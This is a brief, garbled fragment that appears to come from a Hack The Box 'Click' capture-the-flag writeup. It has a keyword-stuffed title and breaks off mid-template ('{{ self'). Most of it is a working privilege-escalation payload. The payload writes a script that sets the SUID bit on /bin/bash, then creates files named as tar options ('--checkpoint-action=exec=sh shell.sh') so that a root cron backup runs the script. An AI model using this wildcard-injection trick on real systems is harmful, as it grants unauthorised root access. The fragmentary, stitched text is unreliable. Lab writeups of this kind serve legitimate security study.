Click Htb Writeup [better] Access

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Wait for cron (or run backup manually if possible), then: click htb writeup

echo "#!/bin/bash" > shell.sh echo "chmod u+s /bin/bash" >> shell.sh touch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh shell.sh" When the backup runs (likely via cron as root), tar executes shell.sh , giving /bin/bash SUID. {{ self